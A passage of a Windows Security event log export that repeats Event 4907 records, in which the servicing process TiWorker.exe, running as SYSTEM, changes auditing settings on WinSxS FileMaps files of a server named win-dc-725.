-OpCode=Info -RecordNumber=247576 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0409_b765704b4564fab9.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247575 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0ef7086abde34382.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247574 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_3f581daba4c8c835.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247573 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_pla_reports_en-us_04eb81229a78dfb4.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247572 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_pla_reports_a2604845b2b380ca.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247571 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_pla_rules_en-us_8cd2a7c250e636a2.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247570 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_pla_rules_0bde462ce96f215e.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247569 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_pla_system_571618c4f89c6368.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247568 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_addsdeployment_internal_6dd790b76065b9c7.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247567 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_adprep_103763c9308d2cf6.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247566 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_drivers_dc1b782427b5ee1b.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247565 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_en_9da4492827ac64e5.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247564 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247563 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_migration_927a21df1acd7c18.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247562 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_adstatus_en-us_598d775e25df3776.cdf-ms - Handle ID: 0xdd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247561 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_adstatus_3d598f1a257714d4.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247560 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_en-us_4555b1beb1c13883.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247559 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_06656d9fdf2f8577.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247558 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_addsdeployment_en-us_2a74edccc1769c65.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247557 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_addsdeployment_7c6e6fd78a5229e5.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247556 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespace_76cc4c037f1ec6b8.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247555 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceaccess_fafeb1eac22b971e.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247554 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespacefolder_fa628b96c354deb2.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247553 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespacefoldertarget_93cbfec69ca8dba5.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247552 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceroottarget_73120b72a6f80f93.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247551 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceserverconfig_91d2af3f6ce50f5d.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247550 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_6a826925d13e6565.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247549 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_grouppolicy_en-us_97cae6696b4b501f.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247548 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_grouppolicy_b883802c54ca5457.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247547 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_a349059b05097caa.cdf-ms - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247546 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_3f102d555ee05d33.cdf-ms - Handle ID: 0xcdc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247545 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247544 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - 